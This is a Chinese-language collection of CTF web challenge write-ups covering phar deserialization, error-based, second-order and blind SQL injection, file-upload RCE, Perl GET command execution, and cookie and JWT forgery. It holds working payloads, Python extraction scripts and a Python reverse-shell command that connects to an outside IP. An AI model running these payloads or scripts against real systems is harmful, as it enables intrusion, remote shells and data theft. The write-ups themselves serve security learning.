htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename ($this ->filename); } public function size ( ) { $size = filesize ($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round ($size , 2 ).$units [$i ]; } public function detele ( ) { unlink ($this ->filename); } public function close ( ) { return file_get_contents ($this ->filename); } } ?>
一共五个文件,审计起来还是有点费劲的,但是我们的重心放在class.php里,可以看到File类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function detele ( ) { unlink ($this ->filename); } public function close ( ) { return file_get_contents ($this ->filename); } }
这里面有太多可以触发phar反序列化的函数了: 所以大致的思路肯定是利用phar反序列化,那接下来就分析怎么触发pop链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public function __destruct ( ) { $this ->db->close (); } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } public function close ( ) { return file_get_contents ($this ->filename); }
我把三个类中重要的部分列出来了,首先是User类里有个destruct析构函数,会去调用db里的close方法,然后FIlelist有个call魔术方法,作用是将 $file->$func();
的结果保存到result里,FIle类里又有close方法 那pop链就清晰了:__destruct(User)->__call(Filelist)->close(File)
,最后通过Filelist类里的析构函数输出结果 但是还需要注意一些细节: dowload.php和delete.php都实例化了File类,并且可以触发phar反序列化,但download.php中设置了open_basedir访问权限设置,不让我们读取根目录下: 而且根据经验,不让我们读取根目录,filename里又不能有flag,那flag文件就应该是/flag或者/flag.txt
之类的 download.php无法去利用,那就利用delete.php: 这里是没设置open_basedir的,所以就利用这个,那就开始生成phar文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class User { public $db ; public function __construct ( ) { $this ->db = new FileList (); } } class File { public $filename ="/flag.txt" ; } class FileList { private $files ; private $results ; private $funcs ; public function __construct ( ) { $file =new File (); $this ->files = array ($file ); $this ->results = array (); $this ->funcs = array (); } } $phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new User ();$phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
应该不难看懂,就是用delete.php去触发phar,phar里利用File类里的close去读取flag.txt 最终上传phar文件改后缀名为png,然后点删除抓包,改文件名字: 就可以看到flag了
[RCTF2015]EasySQL 考点:FUZZ,报错注入,字符串逆序 手测fuzz后发现ban了and,sleep,
,空格,没有ban掉or和extractvalue 那就是报错注入了:
1”or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e)))#![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667025463833-d222da03-7005-4f83-8cb3-ce35efd0f0f6.png#averageHue=%23f6f5f4&clientId=u035787b4-56ba-4&from=paste&height=158&id=u5f18ef7c&name=image.png&originHeight=197&originWidth=463&originalType=binary&ratio=1&rotation=0&showTitle=false&size=6844&status=done&style=none&taskId=u2b13bb20-5a99-4ec3-9309-1f6b076c31b&title=&width=370.4) 然后再去爆字段:
1”or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=’flag’),0x7e)))#![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667025536987-5b15742c-4a2f-4eb0-a039-a136fb1af293.png#averageHue=%23fafaf9&clientId=u035787b4-56ba-4&from=paste&height=215&id=u99617c77&name=image.png&originHeight=269&originWidth=559&originalType=binary&ratio=1&rotation=0&showTitle=false&size=7416&status=done&style=none&taskId=u78786f2f-0dc6-4c04-9fbc-406278a08a6&title=&width=447.2) 最后得到flag:
1”or(extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e)))#: ![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667025610989-fd124940-d304-4fad-95a4-628b316ebbd4.png#averageHue=%23fafaf9&clientId=u035787b4-56ba-4&from=paste&height=190&id=u0d575c09&name=image.png&originHeight=238&originWidth=742&originalType=binary&ratio=1&rotation=0&showTitle=false&size=8922&status=done&style=none&taskId=ub0ed6f3f-92ee-4e4e-bf25-25b8195129b&title=&width=593.6) 草! 在user表里: ![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667025676309-112ea022-3548-4afc-bae1-afc484d5b1e5.png#averageHue=%23faf9f9&clientId=u035787b4-56ba-4&from=paste&height=95&id=ued5e7e11&name=image.png&originHeight=119&originWidth=754&originalType=binary&ratio=1&rotation=0&showTitle=false&size=5134&status=done&style=none&taskId=uc1622355-d3f0-4113-a1c6-07a46b29833&title=&width=603.2) 这边上面的图有长度限制,但是right,left,mid都给ban了,我们用正则
1”or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp’^flag’),0x7e)))#: ![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667027590219-c94f878a-561d-44e7-88fc-ab19e959dced.png#averageHue=%23faf9f8&clientId=uc7736ba4-0486-4&from=paste&height=165&id=u43943023&name=image.png&originHeight=206&originWidth=617&originalType=binary&ratio=1&rotation=0&showTitle=false&size=7918&status=done&style=none&taskId=u65e9fcea-371e-4cd7-b12e-ee87a29c42e&title=&width=493.6) 最后:
1”or(extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp’^flag’)),0x7e)))# ![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667027426865-a6398152-e3d0-429c-a329-cae377f92fbb.png#averageHue=%23faf9f8&clientId=uc7736ba4-0486-4&from=paste&height=169&id=u4ea2af0a&name=image.png&originHeight=211&originWidth=788&originalType=binary&ratio=1&rotation=0&showTitle=false&size=10385&status=done&style=none&taskId=ue69a98e6-5e50-43ae-bc19-243cbb0c998&title=&width=630.4) ![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667027595952-9a45aced-2b14-49b4-89bb-7f9b92e365db.png#averageHue=%23fefefe&clientId=uc7736ba4-0486-4&from=paste&height=343&id=u9d442441&name=image.png&originHeight=429&originWidth=670&originalType=binary&ratio=1&rotation=0&showTitle=false&size=16286&status=done&style=none&taskId=u569abe0e-02ed-4c19-9cc4-310bd5e19bd&title=&width=536) 所以flag:
flag{6a71f0e9-fe71-4fdb-8211-c34410558b83}`
[WUSTCTF2020]CV Maker 考点:文件上传 我无语了,这题逼格看起来很高,实际上就是一坨屎 注册界面,什么都没有 先注册一个账号,然后登入看看: 可以上传头像,一开始上传个图片,给我弹出上传不了,我还以为是什么高级文件上传 会给你修改文件名,上传png木马后不能上传htaccess或者是.user.ini文件,就卡在这里的时候,我试了一下既然是文件头验证,那php后缀名可不可以,不试不知道,一试吓一跳: 直接rce,无语了,逼格瞬间拉低
[CISCN2019 华北赛区 Day1 Web5]CyberPunk 考点:SQL注入二次注入,代码审计 这题有毒,真的 一个购买界面,里面有提交订单,修改订单,删除订单,查询订单四个功能,查看源代码: 会在最底下发现一个参数file
,经过测试发现可以读取源码,用filter协议base64编码再读出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = $_POST ["address" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if ($fetch ->num_rows>0 ) { $msg = $user_name ."已提交订单" ; }else { $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)" ; $re = $db ->prepare ($sql ); $re ->bind_param ("sss" , $user_name , $address , $phone ); $re = $re ->execute (); if (!$re ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单提交成功" ; } } else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8" > <title>确认订单</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <img class ="logo " src ="./assets /img /logo -zh .png "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <?php global $msg ; echo '<h2 class ="mb ">'.$msg .'</h2 >';?> <a href ="./index .php "> <button class ='btn btn -lg btn -sub btn -white '>返回</button > </a > </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <p style ="margin :35px 0;"><br ></p > <h2 class ="mb ">订单管理</h2 > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );$DATABASE = array ( "host" => "127.0.0.1" , "username" => "root" , "password" => "root" , "dbname" =>"ctfusers" ); $db = new mysqli ($DATABASE ['host' ],$DATABASE ['username' ],$DATABASE ['password' ],$DATABASE ['dbname' ]);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php require_once "config.php" ; if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); if (!$row ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "<p>姓名:" .$row ['user_name' ]."</p><p>, 电话:" .$row ['phone' ]."</p><p>, 地址:" .$row ['address' ]."</p>" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $result = $db ->query ('delete from `user` where `user_id`=' . $row ["user_id" ]); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单删除成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = addslashes ($_POST ["address" ]); $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $sql = "update `user` set `address`='" .$address ."', `old_address`='" .$row ['address' ]."' where `user_id`=" .$row ['user_id' ]; $result = $db ->query ($sql ); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单修改成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?>
简单的审计之后发现这4个文件对应四个功能,提交,删除,更改,查询 可以看到confirm.php中有include危险函数,但是并没什么卵用,因为设置了open_basedir选项,只允许我们在当前页面动手脚,然后这也是很重要的一个点 根据经验之谈,我们可以猜测flag为/flag
或者是/flag.txt
,要不然就没解了
然后可以看到查询,删除,提交界面里都有sql查询语句,但是都对phone和username参数进行了强烈的过滤:$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
但是我们提交订单是有3个参数的,还有个address,审计后发现address在change.php有被利用: 这里是不是存在一个update注入呢?我们只需在提交订单的时候让address为',user_name=extractvalue(1,concat(0x7e,database()))#
,然后再修改地址就能触发?,仔细想想是不是呢?说干就干: 芜湖~然后就以这个思路就可以进行我们的报错注入了,接下来我写个脚本,锻炼一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 import requestsurl="http://f654c362-3a5d-4d5b-b145-4013c08a3314.node4.buuoj.cn:81/" name="1" phone="1" joke="1" def put_order (name,phone,address ): data={ "user_name" :name, "phone" :phone, "address" :address } r=requests.post(url=url+"confirm.php" ,data=data) if "订单提交成功" in r.text: return True else : delete_order(name,phone) def delete_order (name,phone ): data={ "user_name" : name, "phone" : phone, } r=requests.post(url=url+"delete.php" ,data=data) if "订单删除成功" in r.text: return True else : return "qwq" def change_order (name,phone,address ): data={ "user_name" : name, "phone" : phone, "address" :joke } r=requests.post(url=url+"change.php" ,data=data) if "errorXPATH" in r.text: res=r.text res=res.split('~' )[1 ] return res else : return "None" def get_database_name (): start=1 step=30 result="" while True : address="',user_name=extractvalue(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),{},{}),0x7e))#" .format (start,step) if put_order(name,phone,address): res = change_order(name, phone, joke) res = "" if res == "None" else res result += res start += step delete_order(name,phone) if len (res)!=30 : return result.split(',' ) def get_table_name (database ): start = 1 step = 30 result = "" while True : address = "',user_name=extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='{}'),{},{}),0x7e))#" .format (database, start, step) if put_order(name, phone, address): res = change_order(name, phone, joke) res = "" if res == "None" else res result += res start += step delete_order(name, phone) if len (res) != 30 : return result.split(',' ) def get_column_name (table ): start = 1 step = 30 result = "" while True : address = "',user_name=extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},{}),0x7e))#" .format ( table, start, step) if put_order(name, phone, address): res = change_order(name, phone, joke) res = "" if res == "None" else res result += res start += step delete_order(name, phone) if len (res) != 30 : return result.split(',' ) def get_result (database,table,column ): start = 1 step = 30 result = "" while True : address = "',user_name=extractvalue(1,concat(0x7e,substr((select group_concat({}) from {}),{},{}),0x7e))#" .format (column, database + '.' + table, start, step) if put_order(name, phone, address): res=change_order(name, phone, joke) res="" if res=="None" else res result += res start += step delete_order(name, phone) if len (res) != 30 : return result.split(',' ) def read_file (filename ): start = 1 step = 30 result = "" while True : address = "',user_name=extractvalue(1,concat(0x7e,substr((select load_file('{}')),{},{}),0x7e))#" .format ( filename, start, step) if put_order(name, phone, address): res = change_order(name, phone, joke) res = "" if res == "None" else res result += res start += step delete_order(name, phone) if len (res) != 30 : return result.split(',' ) if __name__=='__main__' : print (get_database_name()) print (get_table_name('ctftraining' )) table=get_table_name('ctftraining' ) print (read_file('/flag.txt' ))
优雅~
[网鼎杯 2020 白虎组]PicDown 考点:任意文件读取 一开始我还以为是ssrf,因为的确有点像 一个输入框,输入一个http://www.baidu.com或者/etc/passwd都会得到一个图片文件,用010打开发现是源代码: 所以存在任意文件读取
1 2 3 4 5 6 7 8 9 在linux中,proc是一个虚拟文件系统,也是一个控制中心,里面储存是当前内核运行状态的一系列特殊文件;该系统只存在内存当中,以文件系统的方式为访问系统内核数据的操作提供接口,可以通过更改其中的某些文件来改变内核运行状态。它也是内核提供给我们的查询中心,用户可以通过它查看系统硬件及当前运行的进程信息。 /proc/pid/cmdline 包含了用于开始进程的命令 ; /proc/pid/cwd 包含了当前进程工作目录的一个链接 ; /proc/pid/environ 包含了可用进程环境变量的列表 ; /proc/pid/exe 包含了正在进程中运行的程序链接; /proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接; /proc/pid/mem 包含了进程在内存中的内容; /proc/pid/stat 包含了进程的状态信息; /proc/pid/statm 包含了进程的内存使用信息。
先读取一下当前的进程/proc/self/cmdline
,self就代表自己 可以看到是一个app,py文件,是python的一个flask框架(猜测) 读取一下源代码?url=app.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllibapp = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/' ) def index (): return render_template('search.html' ) @app.route('/page' ) def page (): url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value) @app.route('/no_one_know_the_manager' ) def manager (): key = request.args.get("key" ) print (SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return res if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
代码不长,很好审计,可以看到有个secret_file,先打开了,然后又删除掉了,但是没有关闭文件流,也就是没有close
,所以我们可以通过/proc/self/pd
去查看进程打开的文件的信息,可以看到残留的信息: 经过测试是在/proc/self/pd/3
里有信息: 得到了key,就去/no_one_know_the_manager
去执行命令,但是要看到这里是没有回显的,所以要用反弹shell,经过测试发现nc和exec其他啥的都不可以,用python的/no_one_know_the_manager?key=XvWSLF/yiD2nZP2av5Mjy02iDtgnOf88pGsDxAQtJzY=&shell=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('43.140.251.169',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
成功得到flag,总而言之这道题感觉还是不错的,学到了有关proc的一些知识
[CISCN2019 总决赛 Day2 Web1]Easyweb 考点:SQL注入,文件上传,源码泄露 一个登录界面,访问robots.txt,发现: 说明有源码泄露,测试一遍发现,只泄露了image.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include "config.php" ; $id =isset ($_GET ["id" ])?$_GET ["id" ]:"1" ;$path =isset ($_GET ["path" ])?$_GET ["path" ]:"" ;$id =addslashes ($id );$path =addslashes ($path );$id =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id );$path =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path );$result =mysqli_query ($con ,"select * from images where id='{$id} ' or path='{$path} '" ); $row =mysqli_fetch_array ($result ,MYSQLI_ASSOC);$path ="./" . $row ["path" ];header ("Content-Type: image/jpeg" );readfile ($path );
审计后发现这里存在SQL注入,假如id输入\\0
,经过addslashes函数处理: 变成\\\\0
,再经过替换就变成了\\\
,这里别搞混了,这里最后变成了\\
,第一个没有转义效果,第二个有: ,其实我们也可以直接用\0
: 直接就变成了单引号,我铸币了! 这里经过测试没有回显,用盲注:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport timeurl='http://fcf7e1fe-3937-4402-9be7-06d89f43e0c5.node4.buuoj.cn:81/image.php' result='' i=0 while True : head=1 tail=255 i+=1 while head<tail: mid=(head+tail)//2 data={ "id" :"\\\\0" , "path" :f"or if(ascii(substr((select group_concat(password) from users),{i} ,1))>{mid} ,sleep(0.4),2)-- -" } t1=time.time() r=requests.get(url,params=data) t2=time.time() print (t2-t1) if t2-t1>1.3 : head=mid+1 else : tail=mid if head!=1 : result+=chr (head) print (result) else : break
得到了用户名密码,就登陆: 有一个文件上传,不能上传php后缀名,上传.png发现: 访问这个路径:
这是一个php文件,输出了我们上传的日志,其实这里file后面跟了文件名的,只不过我做题的时候用了短标签,就显示不出来了 正常大概就这样,这里我们虽然不知道我们上传的文件保存路径,但是这边已经有个php文件,我们可以再文件名写入恶意代码,让php解析: 名字里不能有PHP,被ban了,所以用短标签,之后就RCE: 马马虎虎
[HITCON 2017]SSRFme 考点 : perl脚本GET open命令漏洞,说实话和SSRF有个鸟关系 GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理 open存在命令执行,并且还支持file函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $http_x_headers = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]); $_SERVER ['REMOTE_ADDR' ] = $http_x_headers [0 ]; } echo $_SERVER ["REMOTE_ADDR" ]; $sandbox = "sandbox/" . md5 ("orange" . $_SERVER ["REMOTE_ADDR" ]); @mkdir ($sandbox ); @chdir ($sandbox ); $data = shell_exec ("GET " . escapeshellarg ($_GET ["url" ])); $info = pathinfo ($_GET ["filename" ]); $dir = str_replace ("." , "" , basename ($info ["dirname" ])); @mkdir ($dir ); @chdir ($dir ); @file_put_contents (basename ($info ["basename" ]), $data ); highlight_file (__FILE__ );
审计一番发现没什么,escapeshellarg应该都知道咋用的,目的就是不让你能执行多条shell命令
file 协议利用 open 命令执行 perl的feature,在open下可以执行命令,前提是文件事先存在:
1 2 3 4 5 [root@izwz962asjj9zbi0ahwa55z test] [root@izwz962asjj9zbi0ahwa55z test] cat a.pl open (FD, "|id" );print <FD>;
下面我们来看看使用GET如何来执行系统命令。(具体啥原因就不讲了,俺也不知道,大概就是open函数支持file协议吧 ) 要执行的命令先前必须要有以命令为文件名的文件存在 我们执行以下命令:
1 2 touch 'ls|' GET "file:ls|"
但是为什么没有按照预期执行呢? 我们去看看file.pm模块。
1 2 cd /usr/share/perl5/LWP/Protocol cat file.pm
可以看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if ($method ne "HEAD" ) { open (my $fh,'<' , $path) or return new HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR, "Cannot read file '$path': $!" ); binmode ($fh); $response = $self->collect($arg, $response, sub { my $content = "" ; my $bytes = sysread ($fh, $content, $size); return \$content if $bytes > 0 ; return \ "" ; }); close ($fh); } $response; }
我们可以看到,它在打开文件时加了个<符号。这也正是我们修复这个漏洞的办法,现在我们要复现就先将她删掉吧。那一行改成open(my $fh, $path) or return new 。再来按照刚刚的思路就可以运行了。good,也算是解决了一个难题了。Kali环境是个好东西,哈哈。
解题步骤: 第一次使用?url=file:ls /|&filename=ls /| 第一次是为了创建ls /| ,ls/|
并不是一个文件,而是一个目录,是ls目录下有|文件,这个要理清一下: 下面的结果分别是:pathinfo($_GET["filename"]);
,basename($info["dirname"]
,basename($info["basename"]
的值 在自己的vps上也测试了一下: 第二次使用?url=file:ls /|&filename=123,是为了执行命令,并且将结果写入123文件: 成功看到了根目录下的命令,发现flag没有权限读取,那肯定就是去运行readflag文件了: 先运行?url=file:bash -c /readflag|&filename=bash -c /readflag|
再运?url=file:bash -c /readflag|&filename=123
听说还有个perl反弹shell,但是我这边buu上用不了:
[红明谷CTF 2021]write_shell 考点:PHP短标签
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting (0 );highlight_file (__FILE__ );function check ($input ) { if (preg_match ("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input )){ die ('hacker!!!' ); }else { return $input ; } } function waf ($input ) { if (is_array ($input )){ foreach ($input as $key =>$output ){ $input [$key ] = waf ($output ); } }else { $input = check ($input ); } } $dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); } switch ($_GET ["action" ] ?? "" ) { case 'pwd' : echo $dir ; break ; case 'upload' : $data = $_GET ["data" ] ?? "" ; waf ($data ); file_put_contents ("$dir " . "index.php" , $data ); } ?>
挺简单的题,没啥大道理,一个waf一个pwd读目录,一个upload写文件 直接上payload了: 用短标签去绕过:
[watevrCTF-2019]Cookie Store 考点:Cookie伪造 一个买cookie的界面; 并且可以看到我们有一个session: 解密一下发现: 照猫画狗伪造一个: 买COOKIE:
[HFCTF2020]EasyLogin 考点:JWT伪造 是一个登录界面,注册一个账号,尝试了注册admin,但是不让注册了,所以存在admin这个用户,我们注册个正常用户登录,登录的时候抓个包: 其中的authorization就是JWT了,可以清晰的看到有3个点 对于jwt的知识可以看:
看大佬说是要读取controllers/api.js
文件,就可以看到主要的逻辑代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 const crypto = require ('crypto' );const fs = require ('fs' )const jwt = require ('jsonwebtoken' )const APIError = require ('../rest' ).APIError ;module .exports = { 'POST /api/register' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || username === 'admin' ){ throw new APIError ('register error' , 'wrong username' ); } if (global .secrets .length > 100000 ) { global .secrets = []; } const secret = crypto.randomBytes (18 ).toString ('hex' ); const secretid = global .secrets .length ; global .secrets .push (secret) const token = jwt.sign ({secretid, username, password}, secret, {algorithm : 'HS256' }); ctx.rest ({ token : token }); await next (); }, 'POST /api/login' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || !password) { throw new APIError ('login error' , 'username or password is necessary' ); } const token = ctx.header .authorization || ctx.request .body .authorization || ctx.request .query .authorization ; const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ; console .log (sid) if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); } const secret = global .secrets [sid]; const user = jwt.verify (token, secret, {algorithm : 'HS256' }); const status = username === user.username && password === user.password ; if (status) { ctx.session .username = username; } ctx.rest ({ status }); await next (); }, 'GET /api/flag' : async (ctx, next) => { if (ctx.session .username !== 'admin' ){ throw new APIError ('permission error' , 'permission denied' ); } const flag = fs.readFileSync ('/flag' ).toString (); ctx.rest ({ flag }); await next (); }, 'GET /api/logout' : async (ctx, next) => { ctx.session .username = null ; ctx.rest ({ status : true }) await next (); } };
利用方式:
